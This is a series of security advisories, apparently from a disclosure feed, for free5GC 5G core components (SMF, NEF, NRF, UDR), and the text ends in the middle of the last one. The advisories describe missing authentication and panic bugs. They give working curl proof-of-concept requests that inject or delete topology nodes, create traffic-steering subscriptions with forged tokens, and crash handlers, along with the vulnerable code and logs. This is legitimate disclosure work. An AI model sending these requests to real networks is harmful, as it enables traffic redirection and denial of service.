### Summary free5GC's SMF mounts the `UPI` management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit `UPI` endpoints with no `Authorization` header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (`GET /upi/v1/upNodesLinks`), write (`POST /upi/v1/upNodesLinks` with attacker-controlled UP-node and link payload), and delete (`DELETE /upi/v1/upNodesLinks/{nodeID}`) operations. The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling `nsmf-oam` group on the same SMF instance shows OAM IS protected (no-token request returns `401 Unauthorized`). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.0` - Docker validation date: 2026-03-13 Control comparison on the same SMF instance: - `GET /upi/v1/upNodesLinks` (no token) -> `200 OK` - `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized` This side-by-side proves OAuth2 middleware is wired in for `nsmf-oam` but not for `UPI` on the same process. Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware: `NFs/smf/internal/sbi/server.go:76` - OAM group mounted WITH auth middleware (control): `NFs/smf/internal/sbi/server.go:95` - UPI business handlers (read / write / delete on `upNodesLinks`): - `NFs/smf/internal/sbi/api_upi.go:44` - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:84` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. READ UP-nodes/links with NO `Authorization` header -> `200 OK`: ``` curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks ``` 2. WRITE: POST attacker-controlled UPF node and link with NO `Authorization` header -> `200 OK`: ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}' ``` 3. DELETE with FORGED token -> `404 Not Found` from business logic (auth was bypassed; the 404 is a business response, not an auth rejection): ``` curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \ -H 'Authorization: Bearer not-a-real-token' ``` 4. CONTROL: same instance, sibling OAM route, no token -> `401 Unauthorized`: ``` curl -i http://10.100.200.6:8000/nsmf-oam/v1/ ``` SMF container logs (`docker logs smf`) confirm the side-by-side behavior: ``` [INFO][SMF][GIN] | 200 | GET | /upi/v1/upNodesLinks [INFO][SMF][GIN] | 401 | GET | /nsmf-oam/v1/ [INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313 [INFO][SMF][GIN] | 200 | POST | /upi/v1/upNodesLinks ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF `UPI` SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries. Any party that can reach SMF on the SBI can: - Read SMF's current UP-node and link topology view anonymously. - Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions. - Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic. The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/887 Upstream fix: https://github.com/free5gc/smf/pull/197
- risk 0.38cvss —epss —
### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as the broader UPI auth gap reported in free5gc/free5gc#887). On top of that, the `DELETE /upi/v1/upNodesLinks/{upNodeRef}` handler unconditionally dereferences `upNode.UPF` after the type-guarded async release, even though `AN`-typed nodes are constructed without a `UPF` object. As a result, a single unauthenticated `DELETE /upi/v1/upNodesLinks/gNB1` request crashes the handler with a nil-pointer panic AND mutates the in-memory user-plane topology before panicking (the `UpNodeDelete(upNodeRef)` line runs first). This is an unauthenticated, state-mutating panic-DoS sink that an off-path network attacker can trigger by name against any AN entry. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:43:17Z`) - SMF endpoint: `http://10.100.200.6:8000` Control comparison on the same SMF instance: - `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized` - `DELETE /upi/v1/upNodesLinks/gNB1` (no token) -> `500 Internal Server Error` (panic) The sibling `nsmf-oam` returning `401` proves OAuth middleware IS wired in for other SMF route groups; the UPI group specifically is mounted without it. Vulnerable handler logic (paths in `free5gc/smf`): ```go // NFs/smf/internal/sbi/api_upi.go:94..99 if upNode.Type == smf_context.UPNODE_UPF { go s.Processor().ReleaseAllResourcesOfUPF(upNode.UPF) } upi.UpNodeDelete(upNodeRef) upNode.UPF.CancelAssociation() // <-- panics for AN-typed nodes; nil UPF ``` The `Type == UPNODE_UPF` guard only protects the asynchronous `ReleaseAllResourcesOfUPF` call. After that, `UpNodeDelete(upNodeRef)` runs unconditionally (so the topology mutation lands first), and then `upNode.UPF.CancelAssociation()` is called unconditionally on a `*UPF` that is `nil` for `AN` nodes by construction. Code evidence: - UPI group mounted WITHOUT auth middleware: - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Protected control comparison (other SMF groups DO use auth): - `NFs/smf/internal/sbi/server.go:99` - `NFs/smf/internal/sbi/server.go:105` - Delete handler (panic site): - `NFs/smf/internal/sbi/api_upi.go:94` - `NFs/smf/internal/sbi/api_upi.go:99` - AN nodes are constructed without a UPF object (root cause of the nil deref): - `NFs/smf/internal/context/user_plane_information.go:95` - `NFs/smf/internal/context/user_plane_information.go:97` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Control: protected sibling OAM route returns `401`: ``` curl -i http://10.100.200.6:8000/nsmf-oam/v1/ ``` ``` HTTP/1.1 401 Unauthorized ``` 2. Trigger: unauthenticated DELETE on the default AN node `gNB1`: ``` curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/gNB1 ``` ``` HTTP/1.1 500 Internal Server Error ``` 3. SMF container logs (`docker logs --tail 120 smf`) show topology mutation landing BEFORE the panic, and the panic stack pointing at `api_upi.go:99`: ``` [INFO][SMF][Init] UPNode [gNB1] found. Deleting it. [INFO][SMF][Init] Delete UPLink [UPF] <=> [gNB1]. [ERRO][SMF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/smf/internal/sbi.(*Server).DeleteUpNodeLink /go/src/free5gc/NFs/smf/internal/sbi/api_upi.go:99 +0x298 [INFO][SMF][GIN] | 500 | DELETE | /upi/v1/upNodesLinks/gNB1 ``` The lab state was manually restored after validation by re-creating the AN entry; that POST is restoration-only and is NOT a mitigation. ### Impact Three compounding defects on the same SMF SBI surface: 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group, so the trigger is reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no session, no UE state needed. The same-instance `nsmf-oam` returning `401` proves the middleware is wired in elsewhere and only missing on UPI. 2. NULL pointer dereference (CWE-476) in `DeleteUpNodeLink`: the `Type == UPNODE_UPF` guard only covers the async release call, then `upNode.UPF.CancelAssociation()` runs unconditionally on AN-typed nodes that have a nil `UPF` field by construction. 3. Order of operations (CWE-755 / CWE-754): `UpNodeDelete(upNodeRef)` mutates the in-memory user-plane topology BEFORE the dereference panics, so the topology change lands even though the request returns 500. This makes the bug state-mutating, not just a plain panic. Any party that can reach SMF on the SBI can: - Delete arbitrary named entries (e.g. `gNB1`) from SMF's in-memory user-plane topology anonymously via a single `DELETE /upi/v1/upNodesLinks/{ref}` request, denying SMF's ability to consider that AN/UPF in subsequent UPF selection / PFCP path establishment for legitimate UE sessions. - Trigger a panic on the SMF goroutine for the deleted-AN case, even though Gin recovers the goroutine, leaving the topology in the mutated state above. - Repeat the trigger by name against any AN entry, sustaining the topology denial without ever authenticating. This is a strict superset of the impact in free5gc/free5gc#887 for this specific code path: same auth bypass, plus a concrete request-triggerable nil deref, plus state mutation that survives the panic. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/905 Upstream fix: https://github.com/free5gc/smf/pull/199
- risk 0.59cvss —epss —
### Summary free5GC's NEF mounts the `nnef-oam` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can hit the OAM route with no `Authorization` header at all and the handler returns `200 OK`. The current OAM handler is a stub that returns `null`, but the structural defect is route-group-scoped: the entire OAM route group has no inbound auth middleware, so every future OAM operation added to this group inherits the missing auth boundary by default. Same root cause as the NEF traffic-influence and PFD-management findings. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, yet the OAM route group is mounted without any inbound auth middleware and answers unauthenticated `GET`s with `200 OK`. Code evidence (paths in `free5gc/nef`): - OAM route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:60` - OAM route exposed at `/`: `NFs/nef/internal/sbi/api_oam.go:9` - OAM processor returns `200 OK` directly: `NFs/nef/internal/sbi/processor/oam.go:9` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` ### PoC Reproduced against the running NEF at `http://10.100.200.19:8000` with no `Authorization` header: ``` curl -i http://10.100.200.19:8000/nnef-oam/v1/ ``` Observed output: ``` HTTP/1.1 200 OK null ``` NEF container logs (`docker logs nef`) show the request being served while OAuth is enabled: ``` [INFO][NEF][GIN] | 200 | GET | /nnef-oam/v1/ ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF OAM SBI route group. Severity is scored against the OAM route group's intended capability surface (Operations / Administration / Maintenance), NOT against the current stub handler. The current handler is a stub that returns `null`, but the defect is route-group-scoped: there is no auth middleware on the group at all, so every future OAM operation added behind this group inherits the missing inbound auth boundary by default. Any party that can reach NEF on the SBI can: - Probe and enumerate the OAM route surface anonymously today. - Hit any future OAM-group endpoint (read, modify, restart-style operations) anonymously, because the auth boundary does not exist for this group. Operators who assume `OAuth2 setting receive from NRF: true` enforces inbound auth on NEF are wrong for this route group. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/861 Upstream fix: https://github.com/free5gc/nef/pull/23
- risk 0.59cvss —epss —
### Summary free5GC's NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, or with a forged bearer token (e.g. `Authorization: Bearer not-a-real-token`). This includes creating `AnyUeInd=true` subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-traffic-influence` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:48` - CRUD routes exposed at `/:afID/subscriptions` and `/:afID/subscriptions/:subID`: `NFs/nef/internal/sbi/api_ti.go:13` - POST allocates AF/subscription state and writes traffic-influence data: `NFs/nef/internal/sbi/processor/ti.go:50` - PATCH looks up and updates the subscription, then calls UDR/PCF: `NFs/nef/internal/sbi/processor/ti.go:279` - DELETE looks up and removes the subscription: `NFs/nef/internal/sbi/processor/ti.go:355` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. 1. CREATE subscription with NO `Authorization` header at all -> `201 Created`: ``` curl -i \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` 2. CREATE second subscription with FORGED bearer token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions ``` 3. READ with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 4. PATCH with forged token -> `500 Query to UDR failed` (still reaches business logic, not 401/403, so auth bypass confirmed): ``` curl -i -X PATCH \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 5. DELETE with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403): ``` [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions [INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can: - Create attacker-controlled traffic-influence subscriptions (including `AnyUeInd=true` group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF. - Read existing AF subscriptions, leaking traffic-steering policy data. - Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs. - Delete subscriptions, denying service to legitimately provisioned traffic influence. The traffic-influence route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23
- risk 0.38cvss —epss —
### Summary free5GC's NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields. Note: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint. ### Details Validated against the NRF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nrf:v4.2.1` - Docker validation date: 2026-03-22 - NRF endpoint: `http://10.100.200.3:8000` Root cause is in the access-token request parser: - `NFs/nrf/internal/sbi/api_accesstoken.go:52` - `NFs/nrf/internal/sbi/api_accesstoken.go:87` - `NFs/nrf/internal/sbi/api_accesstoken.go:98` - `NFs/nrf/internal/sbi/api_accesstoken.go:100` - `NFs/nrf/internal/sbi/api_accesstoken.go:112` The model definition lives in `free5gc/openapi`: - `models/model_nrf_access_token_access_token_req.go:27` - `models/model_nrf_access_token_access_token_req.go:29` - `models/model_nrf_access_token_access_token_req.go:30` - `models/model_nrf_access_token_access_token_req.go:31` The parser's effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error. Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - `requesterPlmnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnId` - `requesterSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `requesterSnpnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnIdNid` - `targetSnpn` -> panic assigning `*models.PlmnId` to `*models.PlmnIdNid` - `targetSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `targetNsiList` -> panic assigning `*models.PlmnId` to `[]string` ### PoC Reproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler. 1. `requesterPlmnList` -> `[]models.PlmnId` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}' ``` 2. `requesterSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}' ``` 3. `requesterSnpnList` -> `[]models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}' ``` 4. `targetSnpn` -> `*models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}' ``` 5. `targetSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}' ``` 6. `targetNsiList` -> `[]string` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}' ``` Observed response (per request, no body returned): ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` NRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type: ``` [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token | ``` ### Impact Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755). This is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests. What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history. No Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83
- risk 0.19cvss —epss —
### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler panics on a single authenticated request against a fresh UDR instance when the supplied `ueId` does not exist in `UESubsCollection`. The processor checks `value, ok := udrSelf.UESubsCollection.Load(ueId)` and sets a `404 USER_NOT_FOUND` problem-details on the miss path, but execution continues and immediately runs `value.(*udr_context.UESubsData)` -- a Go type assertion on a nil interface, which panics with `interface conversion: interface {} is nil, not *context.UESubsData`. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable. This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set `pd`, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required. This endpoint requires a valid `nudr-dr` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding. ### Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000` Vulnerable handler (the `ok` miss path sets `pd` but does not return; the next line type-asserts the nil interface): ```go subsId := c.Params.ByName("subsId") s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId) ``` In the processor: ```go value, ok := udrSelf.UESubsCollection.Load(ueId) if !ok { pd = util.ProblemDetailsNotFound("USER_NOT_FOUND") } UESubsData := value.(*udr_context.UESubsData) // panics: nil interface ``` When `ueId` is absent from `UESubsCollection`, `value` is the nil `interface{}` returned by `sync.Map.Load`, and `value.(*udr_context.UESubsData)` panics with: ``` panic: interface conversion: interface {} is nil, not *context.UESubsData ``` Code evidence (paths in `free5gc/udr`): - Route exposure + handler dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2170` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil interface type assertion): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61` ### PoC Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000` -- single authenticated request, no preconditions. 1. Restart UDR (clean state -- proves no precondition is needed): ``` docker restart udr ``` 2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``` 3. Trigger the panic with one DELETE for a nonexistent `ueId=x`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 4. UDR container logs (`docker logs udr`) confirm the nil-interface conversion panic at `event_amf_subscription_info_document.go:61` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:61 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``` ### Impact Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a `404` problem-details value but does not return, then runs a Go type assertion on the nil interface returned by `sync.Map.Load`. This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the `amf-subscriptions` delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 USER_NOT_FOUND` response would have. No Confidentiality impact (the response is `500` with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60
- risk 0.19cvss —epss —
### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks `_, ok = UESubsData.EeSubscriptionCollection[subsId]` and sets a `404` problem-details on the miss path, but then continues to `UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos` -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable. This endpoint requires a valid `nudr-dr` OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding. ### Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000` Precondition (one authenticated EE-subscription create allocates UE state): ```go if !ok { udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData)) value, _ = udrSelf.UESubsCollection.Load(ueId) } ... UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection) ``` Vulnerable handler (delete on amf-subscriptions): the `ok` miss path sets `pd` but does not return, so the very next line dereferences the nil entry: ```go _, ok = UESubsData.EeSubscriptionCollection[subsId] if !ok { pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND") } if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil { pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND") } ``` When `subsId` is absent, `UESubsData.EeSubscriptionCollection[subsId]` is nil, and `.AmfSubscriptionInfos` panics with `runtime error: invalid memory address or nil pointer dereference`. Code evidence (paths in `free5gc/udr`): - Precondition route + handler (EE-subscription create that allocates UE state): - `NFs/udr/internal/sbi/api_datarepository.go:600` - `NFs/udr/internal/sbi/api_datarepository.go:602` - `NFs/udr/internal/sbi/api_datarepository.go:2528` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38` - Vulnerable delete route + dispatch: - 